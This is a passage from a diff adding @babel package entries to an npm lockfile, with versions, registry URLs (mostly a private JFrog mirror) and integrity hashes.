"@babel/helper-plugin-utils": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/helper-plugin-utils/-/helper-plugin-utils-7.22.5.tgz", + "integrity": "sha512-uLls06UVKgFG9QD4OeFYLEGteMIAa5kpTPcFL28yuCIIzsf6ZyKZMllKVOCZFhiZ5ptnwX4mtKdWCBE/uT4amg==" + }, + "@babel/helper-remap-async-to-generator": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/helper-remap-async-to-generator/-/helper-remap-async-to-generator-7.22.5.tgz", + "integrity": "sha512-cU0Sq1Rf4Z55fgz7haOakIyM7+x/uCFwXpLPaeRzfoUtAEAuUZjZvFPjL/rk5rW693dIgn2hng1W7xbT7lWT4g==", + "requires": { + "@babel/helper-annotate-as-pure": "^7.22.5", + "@babel/helper-environment-visitor": "^7.22.5", + "@babel/helper-wrap-function": "^7.22.5", + "@babel/types": "^7.22.5" + } + }, + "@babel/helper-replace-supers": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/helper-replace-supers/-/helper-replace-supers-7.22.5.tgz", + "integrity": "sha512-aLdNM5I3kdI/V9xGNyKSF3X/gTyMUBohTZ+/3QdQKAA9vxIiy12E+8E2HoOP1/DjeqU+g6as35QHJNMDDYpuCg==", + "requires": { + "@babel/helper-environment-visitor": "^7.22.5", + "@babel/helper-member-expression-to-functions": "^7.22.5", + "@babel/helper-optimise-call-expression": "^7.22.5", + "@babel/template": "^7.22.5", + "@babel/traverse": "^7.22.5", + "@babel/types": "^7.22.5" + } + }, + "@babel/helper-simple-access": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/helper-simple-access/-/helper-simple-access-7.22.5.tgz", + "integrity": "sha512-n0H99E/K+Bika3++WNL17POvo4rKWZ7lZEp1Q+fStVbUi8nxPQEBOlTmCOxW/0JsS56SKKQ+ojAe2pHKJHN35w==", + "requires": { + "@babel/types": "^7.22.5" + } + }, + "@babel/helper-skip-transparent-expression-wrappers": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/helper-skip-transparent-expression-wrappers/-/helper-skip-transparent-expression-wrappers-7.22.5.tgz", + "integrity": "sha512-tK14r66JZKiC43p8Ki33yLBVJKlQDFoA8GYN67lWCDCqoL6EMMSuM9b+Iff2jHaM/RRFYl7K+iiru7hbRqNx8Q==", + "requires": { + "@babel/types": "^7.22.5" + } + }, + "@babel/helper-split-export-declaration": { + "version": "7.22.6", + "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.22.6.tgz", + "integrity": "sha512-AsUnxuLhRYsisFiaJwvp1QF+I3KjD5FOxut14q/GzovUe6orHLesW2C7d754kRm53h5gqrz6sFl6sxc4BVtE/g==", + "requires": { + "@babel/types": "^7.22.5" + } + }, + "@babel/helper-string-parser": { + "version": "7.24.1", + "resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.24.1.tgz", + "integrity": "sha512-2ofRCjnnA9y+wk8b9IAREroeUP02KHp431N2mhKniy2yKIDKpbrHv9eXwm8cBeWQYcJmzv5qKCu65P47eCF7CQ==" + }, + "@babel/helper-validator-identifier": { + "version": "7.22.20", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.22.20.tgz", + "integrity": "sha512-Y4OZ+ytlatR8AI+8KZfKuL5urKp7qey08ha31L8b3BwewJAoJamTzyvxPR/5D+KkdJCGPq/+8TukHBlY10FX9A==" + }, + "@babel/helper-validator-option": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/helper-validator-option/-/helper-validator-option-7.22.5.tgz", + "integrity": "sha512-R3oB6xlIVKUnxNUxbmgq7pKjxpru24zlimpE8WK47fACIlM0II/Hm1RS8IaOI7NgCr6LNS+jl5l75m20npAziw==" + }, + "@babel/helper-wrap-function": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/helper-wrap-function/-/helper-wrap-function-7.22.5.tgz", + "integrity": "sha512-bYqLIBSEshYcYQyfks8ewYA8S30yaGSeRslcvKMvoUk6HHPySbxHq9YRi6ghhzEU+yhQv9bP/jXnygkStOcqZw==", + "requires": { + "@babel/helper-function-name": "^7.22.5", + "@babel/template": "^7.22.5", + "@babel/traverse": "^7.22.5", + "@babel/types": "^7.22.5" + } + }, + "@babel/helpers": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/helpers/-/helpers-7.22.5.tgz", + "integrity": "sha512-pSXRmfE1vzcUIDFQcSGA5Mr+GxBV9oiRKDuDxXvWQQBCh8HoIjs/2DlDB7H8smac1IVrB9/xdXj2N3Wol9Cr+Q==", + "requires": { + "@babel/template": "^7.22.5", + "@babel/traverse": "^7.22.5", + "@babel/types": "^7.22.5" + } + }, + "@babel/highlight": { + "version": "7.24.2", + "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.24.2.tgz", + "integrity": "sha512-Yac1ao4flkTxTteCDZLEvdxg2fZfz1v8M4QpaGypq/WPDqg3ijHYbDfs+LG5hvzSoqaSZ9/Z9lKSP3CjZjv+pA==", + "requires": { + "@babel/helper-validator-identifier": "^7.22.20", + "chalk": "^2.4.2", + "js-tokens": "^4.0.0", + "picocolors": "^1.0.0" + } + }, + "@babel/parser": { + "version": "7.24.1", + "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.24.1.tgz", + "integrity": "sha512-Zo9c7N3xdOIQrNip7Lc9wvRPzlRtovHVE4lkz8WEDr7uYh/GMQhSiIgFxGIArRHYdJE5kxtZjAf8rT0xhdLCzg==" + }, + "@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression/-/plugin-bugfix-safari-id-destructuring-collision-in-function-expression-7.22.5.tgz", + "integrity": "sha512-NP1M5Rf+u2Gw9qfSO4ihjcTGW5zXTi36ITLd4/EoAcEhIZ0yjMqmftDNl3QC19CX7olhrjpyU454g/2W7X0jvQ==", + "requires": { + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining/-/plugin-bugfix-v8-spread-parameters-in-optional-chaining-7.22.5.tgz", + "integrity": "sha512-31Bb65aZaUwqCbWMnZPduIZxCBngHFlzyN6Dq6KAJjtx+lx6ohKHubc61OomYi7XwVD4Ol0XCVz4h+pYFR048g==", + "requires": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-skip-transparent-expression-wrappers": "^7.22.5", + "@babel/plugin-transform-optional-chaining": "^7.22.5" + } + }, + "@babel/plugin-proposal-class-properties": { + "version": "7.18.6", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-proposal-class-properties/-/plugin-proposal-class-properties-7.18.6.tgz", + "integrity": "sha512-cumfXOF0+nzZrrN8Rf0t7M+tF6sZc7vhQwYQck9q1/5w2OExlD+b4v4RpMJFaV1Z7WcDRgO6FqvxqxGlwo+RHQ==", + "requires": { + "@babel/helper-create-class-features-plugin": "^7.18.6", + "@babel/helper-plugin-utils": "^7.18.6" + } + }, + "@babel/plugin-proposal-decorators": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-proposal-decorators/-/plugin-proposal-decorators-7.22.5.tgz", + "integrity": "sha512-h8hlezQ4dl6ixodgXkH8lUfcD7x+WAuIqPUjwGoItynrXOAv4a4Tci1zA/qjzQjjcl0v3QpLdc2LM6ZACQuY7A==", + "requires": { + "@babel/helper-create-class-features-plugin": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-replace-supers": "^7.22.5", + "@babel/helper-split-export-declaration": "^7.22.5", + "@babel/plugin-syntax-decorators": "^7.22.5" + } + }, + "@babel/plugin-proposal-nullish-coalescing-operator": { + "version": "7.18.6", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-proposal-nullish-coalescing-operator/-/plugin-proposal-nullish-coalescing-operator-7.18.6.tgz", + "integrity": "sha512-wQxQzxYeJqHcfppzBDnm1yAY0jSRkUXR2z8RePZYrKwMKgMlE8+Z6LUno+bd6LvbGh8Gltvy74+9pIYkr+XkKA==", + "requires": { + "@babel/helper-plugin-utils": "^7.18.6", + "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.3" + } + }, + "@babel/plugin-proposal-numeric-separator": { + "version": "7.18.6", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-proposal-numeric-separator/-/plugin-proposal-numeric-separator-7.18.6.tgz", + "integrity": "sha512-ozlZFogPqoLm8WBr5Z8UckIoE4YQ5KESVcNudyXOR8uqIkliTEgJ3RoketfG6pmzLdeZF0H/wjE9/cCEitBl7Q==", + "requires": { + "@babel/helper-plugin-utils": "^7.18.6", + "@babel/plugin-syntax-numeric-separator": "^7.10.4" + } + }, + "@babel/plugin-proposal-optional-chaining": { + "version": "7.21.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-proposal-optional-chaining/-/plugin-proposal-optional-chaining-7.21.0.tgz", + "integrity": "sha512-p4zeefM72gpmEe2fkUr/OnOXpWEf8nAgk7ZYVqqfFiyIG7oFfVZcCrU64hWn5xp4tQ9LkV4bTIa5rD0KANpKNA==", + "requires": { + "@babel/helper-plugin-utils": "^7.20.2", + "@babel/helper-skip-transparent-expression-wrappers": "^7.20.0", + "@babel/plugin-syntax-optional-chaining": "^7.8.3" + } + }, + "@babel/plugin-proposal-private-methods": { + "version": "7.18.6", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-proposal-private-methods/-/plugin-proposal-private-methods-7.18.6.tgz", + "integrity": "sha512-nutsvktDItsNn4rpGItSNV2sz1XwS+nfU0Rg8aCx3W3NOKVzdMjJRu0O5OkgDp3ZGICSTbgRpxZoWsxoKRvbeA==", + "requires": { + "@babel/helper-create-class-features-plugin": "^7.18.6", + "@babel/helper-plugin-utils": "^7.18.6" + } + }, + "@babel/plugin-proposal-private-property-in-object": { + "version": "7.21.0-placeholder-for-preset-env.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-proposal-private-property-in-object/-/plugin-proposal-private-property-in-object-7.21.0-placeholder-for-preset-env.2.tgz", + "integrity": "sha512-SOSkfJDddaM7mak6cPEpswyTRnuRltl429hMraQEglW+OkovnCzsiszTmsrlY//qLFjCpQDFRvjdm2wA5pPm9w==", + "requires": {} + }, + "@babel/plugin-proposal-unicode-property-regex": { + "version": "7.18.6", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-proposal-unicode-property-regex/-/plugin-proposal-unicode-property-regex-7.18.6.tgz", + "integrity": "sha512-2BShG/d5yoZyXZfVePH91urL5wTG6ASZU9M4o03lKK8u8UW1y08OMttBSOADTcJrnPMpvDXRG3G8fyLh4ovs8w==", + "requires": { + "@babel/helper-create-regexp-features-plugin": "^7.18.6", + "@babel/helper-plugin-utils": "^7.18.6" + } + }, + "@babel/plugin-syntax-async-generators": { + "version": "7.8.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-syntax-async-generators/-/plugin-syntax-async-generators-7.8.4.tgz", + "integrity": "sha512-tycmZxkGfZaxhMRbXlPXuVFpdWlXpir2W4AMhSJgRKzk/eDlIXOhb2LHWoLpDF7TEHylV5zNhykX6KAgHJmTNw==", + "requires": { + "@babel/helper-plugin-utils": "^7.8.0" + } + }, + "@babel/plugin-syntax-bigint": { + "version": "7.8.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-syntax-bigint/-/plugin-syntax-bigint-7.8.3.tgz", + "integrity": "sha512-wnTnFlG+YxQm3vDxpGE57Pj0srRU4sHE/mDkt1qv2YJJSeUAec2ma4WLUnUPeKjyrfntVwe/N6dCXpU+zL3Npg==", + "requires": { + "@babel/helper-plugin-utils": "^7.8.0" + } + }, + "@babel/plugin-syntax-class-properties": { + "version": "7.12.13", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-syntax-class-properties/-/plugin-syntax-class-properties-7.12.13.tgz", + "integrity": "sha512-fm4idjKla0YahUNgFNLCB0qySdsoPiZP3iQE3rky0mBUtMZ23yDJ9SJdg6dXTSDnulOVqiF3Hgr9nbXvXTQZYA==", + "requires": { + "@babel/helper-plugin-utils": "^7.12.13" + } + }, + "@babel/plugin-syntax-class-static-block": { + "version": "7.14.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-syntax-class-static-block/-/plugin-syntax-class-static-block-7.14.5.tgz", + "integrity": "sha512-b+YyPmr6ldyNnM6sqYeMWE+bgJcJpO6yS4QD7ymxgH34GBPNDM/THBh8iunyvKIZztiwLH4CJZ0RxTk9emgpjw==", + "requires": { + "@babel/helper-plugin-utils": "^7.14.5" + } + }, + "@babel/plugin-syntax-decorators": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-syntax-decorators/-/plugin-syntax-decorators-7.22.5.tgz", + "integrity": "sha512-avpUOBS7IU6al8MmF1XpAyj9QYeLPuSDJI5D4pVMSMdL7xQokKqJPYQC67RCT0aCTashUXPiGwMJ0DEXXCEmMA==", + "requires": { + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/plugin-syntax-dynamic-import": { + "version": "7.8.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-syntax-dynamic-import/-/plugin-syntax-dynamic-import-7.8.3.tgz", + "integrity": "sha512-5gdGbFon+PszYzqs83S3E5mpi7/y/8M9eC90MRTZfduQOYW76ig6SOSPNe41IG5LoP3FGBn2N0RjVDSQiS94kQ==", + "requires": { + "@babel/helper-plugin-utils": "^7.8.0" + } + }, + "@babel/plugin-syntax-export-namespace-from": { + "version": "7.8.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-syntax-export-namespace-from/-/plugin-syntax-export-namespace-from-7.8.3.tgz", + "integrity": "sha512-MXf5laXo6c1IbEbegDmzGPwGNTsHZmEy6QGznu5Sh2UCWvueywb2ee+CCE4zQiZstxU9BMoQO9i6zUFSY0Kj0Q==", + "requires": { + "@babel/helper-plugin-utils": "^7.8.3" + } + }, + "@babel/plugin-syntax-flow": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-syntax-flow/-/plugin-syntax-flow-7.22.5.tgz", + "integrity": "sha512-9RdCl0i+q0QExayk2nOS7853w08yLucnnPML6EN9S8fgMPVtdLDCdx/cOQ/i44Lb9UeQX9A35yaqBBOMMZxPxQ==", + "requires": { + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/plugin-syntax-import-assertions": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-syntax-import-assertions/-/plugin-syntax-import-assertions-7.22.5.tgz", + "integrity": "sha512-rdV97N7KqsRzeNGoWUOK6yUsWarLjE5Su/Snk9IYPU9CwkWHs4t+rTGOvffTR8XGkJMTAdLfO0xVnXm8wugIJg==", + "requires": { + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/plugin-syntax-import-attributes": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-syntax-import-attributes/-/plugin-syntax-import-attributes-7.22.5.tgz", + "integrity": "sha512-KwvoWDeNKPETmozyFE0P2rOLqh39EoQHNjqizrI5B8Vt0ZNS7M56s7dAiAqbYfiAYOuIzIh96z3iR2ktgu3tEg==", + "requires": { + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/plugin-syntax-import-meta": { + "version": "7.10.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-syntax-import-meta/-/plugin-syntax-import-meta-7.10.4.tgz", + "integrity": "sha512-Yqfm+XDx0+Prh3VSeEQCPU81yC+JWZ2pDPFSS4ZdpfZhp4MkFMaDC1UqseovEKwSUpnIL7+vK+Clp7bfh0iD7g==", + "requires": { + "@babel/helper-plugin-utils": "^7.10.4" + } + }, + "@babel/plugin-syntax-json-strings": { + "version": "7.8.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-syntax-json-strings/-/plugin-syntax-json-strings-7.8.3.tgz", + "integrity": "sha512-lY6kdGpWHvjoe2vk4WrAapEuBR69EMxZl+RoGRhrFGNYVK8mOPAW8VfbT/ZgrFbXlDNiiaxQnAtgVCZ6jv30EA==", + "requires": { + "@babel/helper-plugin-utils": "^7.8.0" + } + }, + "@babel/plugin-syntax-jsx": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-syntax-jsx/-/plugin-syntax-jsx-7.22.5.tgz", + "integrity": "sha512-gvyP4hZrgrs/wWMaocvxZ44Hw0b3W8Pe+cMxc8V1ULQ07oh8VNbIRaoD1LRZVTvD+0nieDKjfgKg89sD7rrKrg==", + "requires": { + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/plugin-syntax-logical-assignment-operators": { + "version": "7.10.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-syntax-logical-assignment-operators/-/plugin-syntax-logical-assignment-operators-7.10.4.tgz", + "integrity": "sha512-d8waShlpFDinQ5MtvGU9xDAOzKH47+FFoney2baFIoMr952hKOLp1HR7VszoZvOsV/4+RRszNY7D17ba0te0ig==", + "requires": { + "@babel/helper-plugin-utils": "^7.10.4" + } + }, + "@babel/plugin-syntax-nullish-coalescing-operator": { + "version": "7.8.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-syntax-nullish-coalescing-operator/-/plugin-syntax-nullish-coalescing-operator-7.8.3.tgz", + "integrity": "sha512-aSff4zPII1u2QD7y+F8oDsz19ew4IGEJg9SVW+bqwpwtfFleiQDMdzA/R+UlWDzfnHFCxxleFT0PMIrR36XLNQ==", + "requires": { + "@babel/helper-plugin-utils": "^7.8.0" + } + }, + "@babel/plugin-syntax-numeric-separator": { + "version": "7.10.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-syntax-numeric-separator/-/plugin-syntax-numeric-separator-7.10.4.tgz", + "integrity": "sha512-9H6YdfkcK/uOnY/K7/aA2xpzaAgkQn37yzWUMRK7OaPOqOpGS1+n0H5hxT9AUw9EsSjPW8SVyMJwYRtWs3X3ug==", + "requires": { + "@babel/helper-plugin-utils": "^7.10.4" + } + }, + "@babel/plugin-syntax-object-rest-spread": { + "version": "7.8.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-syntax-object-rest-spread/-/plugin-syntax-object-rest-spread-7.8.3.tgz", + "integrity": "sha512-XoqMijGZb9y3y2XskN+P1wUGiVwWZ5JmoDRwx5+3GmEplNyVM2s2Dg8ILFQm8rWM48orGy5YpI5Bl8U1y7ydlA==", + "requires": { + "@babel/helper-plugin-utils": "^7.8.0" + } + }, + "@babel/plugin-syntax-optional-catch-binding": { + "version": "7.8.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-syntax-optional-catch-binding/-/plugin-syntax-optional-catch-binding-7.8.3.tgz", + "integrity": "sha512-6VPD0Pc1lpTqw0aKoeRTMiB+kWhAoT24PA+ksWSBrFtl5SIRVpZlwN3NNPQjehA2E/91FV3RjLWoVTglWcSV3Q==", + "requires": { + "@babel/helper-plugin-utils": "^7.8.0" + } + }, + "@babel/plugin-syntax-optional-chaining": { + "version": "7.8.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-syntax-optional-chaining/-/plugin-syntax-optional-chaining-7.8.3.tgz", + "integrity": "sha512-KoK9ErH1MBlCPxV0VANkXW2/dw4vlbGDrFgz8bmUsBGYkFRcbRwMh6cIJubdPrkxRwuGdtCk0v/wPTKbQgBjkg==", + "requires": { + "@babel/helper-plugin-utils": "^7.8.0" + } + }, + "@babel/plugin-syntax-private-property-in-object": { + "version": "7.14.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-syntax-private-property-in-object/-/plugin-syntax-private-property-in-object-7.14.5.tgz", + "integrity": "sha512-0wVnp9dxJ72ZUJDV27ZfbSj6iHLoytYZmh3rFcxNnvsJF3ktkzLDZPy/mA17HGsaQT3/DQsWYX1f1QGWkCoVUg==", + "requires": { + "@babel/helper-plugin-utils": "^7.14.5" + } + }, + "@babel/plugin-syntax-top-level-await": { + "version": "7.14.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-syntax-top-level-await/-/plugin-syntax-top-level-await-7.14.5.tgz", + "integrity": "sha512-hx++upLv5U1rgYfwe1xBQUhRmU41NEvpUvrp8jkrSCdvGSnM5/qdRMtylJ6PG5OFkBaHkbTAKTnd3/YyESRHFw==", + "requires": { + "@babel/helper-plugin-utils": "^7.14.5" + } + }, + "@babel/plugin-syntax-typescript": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-syntax-typescript/-/plugin-syntax-typescript-7.22.5.tgz", + "integrity": "sha512-1mS2o03i7t1c6VzH6fdQ3OA8tcEIxwG18zIPRp+UY1Ihv6W+XZzBCVxExF9upussPXJ0xE9XRHwMoNs1ep/nRQ==", + "requires": { + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/plugin-syntax-unicode-sets-regex": { + "version": "7.18.6", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-syntax-unicode-sets-regex/-/plugin-syntax-unicode-sets-regex-7.18.6.tgz", + "integrity": "sha512-727YkEAPwSIQTv5im8QHz3upqp92JTWhidIC81Tdx4VJYIte/VndKf1qKrfnnhPLiPghStWfvC/iFaMCQu7Nqg==", + "requires": { + "@babel/helper-create-regexp-features-plugin": "^7.18.6", + "@babel/helper-plugin-utils": "^7.18.6" + } + }, + "@babel/plugin-transform-arrow-functions": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-arrow-functions/-/plugin-transform-arrow-functions-7.22.5.tgz", + "integrity": "sha512-26lTNXoVRdAnsaDXPpvCNUq+OVWEVC6bx7Vvz9rC53F2bagUWW4u4ii2+h8Fejfh7RYqPxn+libeFBBck9muEw==", + "requires": { + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/plugin-transform-async-generator-functions": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-async-generator-functions/-/plugin-transform-async-generator-functions-7.22.5.tgz", + "integrity": "sha512-gGOEvFzm3fWoyD5uZq7vVTD57pPJ3PczPUD/xCFGjzBpUosnklmXyKnGQbbbGs1NPNPskFex0j93yKbHt0cHyg==", + "requires": { + "@babel/helper-environment-visitor": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-remap-async-to-generator": "^7.22.5", + "@babel/plugin-syntax-async-generators": "^7.8.4" + } + }, + "@babel/plugin-transform-async-to-generator": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-async-to-generator/-/plugin-transform-async-to-generator-7.22.5.tgz", + "integrity": "sha512-b1A8D8ZzE/VhNDoV1MSJTnpKkCG5bJo+19R4o4oy03zM7ws8yEMK755j61Dc3EyvdysbqH5BOOTquJ7ZX9C6vQ==", + "requires": { + "@babel/helper-module-imports": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-remap-async-to-generator": "^7.22.5" + } + }, + "@babel/plugin-transform-block-scoped-functions": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-block-scoped-functions/-/plugin-transform-block-scoped-functions-7.22.5.tgz", + "integrity": "sha512-tdXZ2UdknEKQWKJP1KMNmuF5Lx3MymtMN/pvA+p/VEkhK8jVcQ1fzSy8KM9qRYhAf2/lV33hoMPKI/xaI9sADA==", + "requires": { + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/plugin-transform-block-scoping": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-block-scoping/-/plugin-transform-block-scoping-7.22.5.tgz", + "integrity": "sha512-EcACl1i5fSQ6bt+YGuU/XGCeZKStLmyVGytWkpyhCLeQVA0eu6Wtiw92V+I1T/hnezUv7j74dA/Ro69gWcU+hg==", + "requires": { + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/plugin-transform-class-properties": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-class-properties/-/plugin-transform-class-properties-7.22.5.tgz", + "integrity": "sha512-nDkQ0NfkOhPTq8YCLiWNxp1+f9fCobEjCb0n8WdbNUBc4IB5V7P1QnX9IjpSoquKrXF5SKojHleVNs2vGeHCHQ==", + "requires": { + "@babel/helper-create-class-features-plugin": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/plugin-transform-class-static-block": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-class-static-block/-/plugin-transform-class-static-block-7.22.5.tgz", + "integrity": "sha512-SPToJ5eYZLxlnp1UzdARpOGeC2GbHvr9d/UV0EukuVx8atktg194oe+C5BqQ8jRTkgLRVOPYeXRSBg1IlMoVRA==", + "requires": { + "@babel/helper-create-class-features-plugin": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/plugin-syntax-class-static-block": "^7.14.5" + } + }, + "@babel/plugin-transform-classes": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-classes/-/plugin-transform-classes-7.22.5.tgz", + "integrity": "sha512-2edQhLfibpWpsVBx2n/GKOz6JdGQvLruZQfGr9l1qes2KQaWswjBzhQF7UDUZMNaMMQeYnQzxwOMPsbYF7wqPQ==", + "requires": { + "@babel/helper-annotate-as-pure": "^7.22.5", + "@babel/helper-compilation-targets": "^7.22.5", + "@babel/helper-environment-visitor": "^7.22.5", + "@babel/helper-function-name": "^7.22.5", + "@babel/helper-optimise-call-expression": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-replace-supers": "^7.22.5", + "@babel/helper-split-export-declaration": "^7.22.5", + "globals": "^11.1.0" + } + }, + "@babel/plugin-transform-computed-properties": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-computed-properties/-/plugin-transform-computed-properties-7.22.5.tgz", + "integrity": "sha512-4GHWBgRf0krxPX+AaPtgBAlTgTeZmqDynokHOX7aqqAB4tHs3U2Y02zH6ETFdLZGcg9UQSD1WCmkVrE9ErHeOg==", + "requires": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/template": "^7.22.5" + } + }, + "@babel/plugin-transform-destructuring": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-destructuring/-/plugin-transform-destructuring-7.22.5.tgz", + "integrity": "sha512-GfqcFuGW8vnEqTUBM7UtPd5A4q797LTvvwKxXTgRsFjoqaJiEg9deBG6kWeQYkVEL569NpnmpC0Pkr/8BLKGnQ==", + "requires": { + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/plugin-transform-dotall-regex": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-dotall-regex/-/plugin-transform-dotall-regex-7.22.5.tgz", + "integrity": "sha512-5/Yk9QxCQCl+sOIB1WelKnVRxTJDSAIxtJLL2/pqL14ZVlbH0fUQUZa/T5/UnQtBNgghR7mfB8ERBKyKPCi7Vw==", + "requires": { + "@babel/helper-create-regexp-features-plugin": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/plugin-transform-duplicate-keys": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-duplicate-keys/-/plugin-transform-duplicate-keys-7.22.5.tgz", + "integrity": "sha512-dEnYD+9BBgld5VBXHnF/DbYGp3fqGMsyxKbtD1mDyIA7AkTSpKXFhCVuj/oQVOoALfBs77DudA0BE4d5mcpmqw==", + "requires": { + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/plugin-transform-dynamic-import": { + "version": "7.22.5", + "resolved": 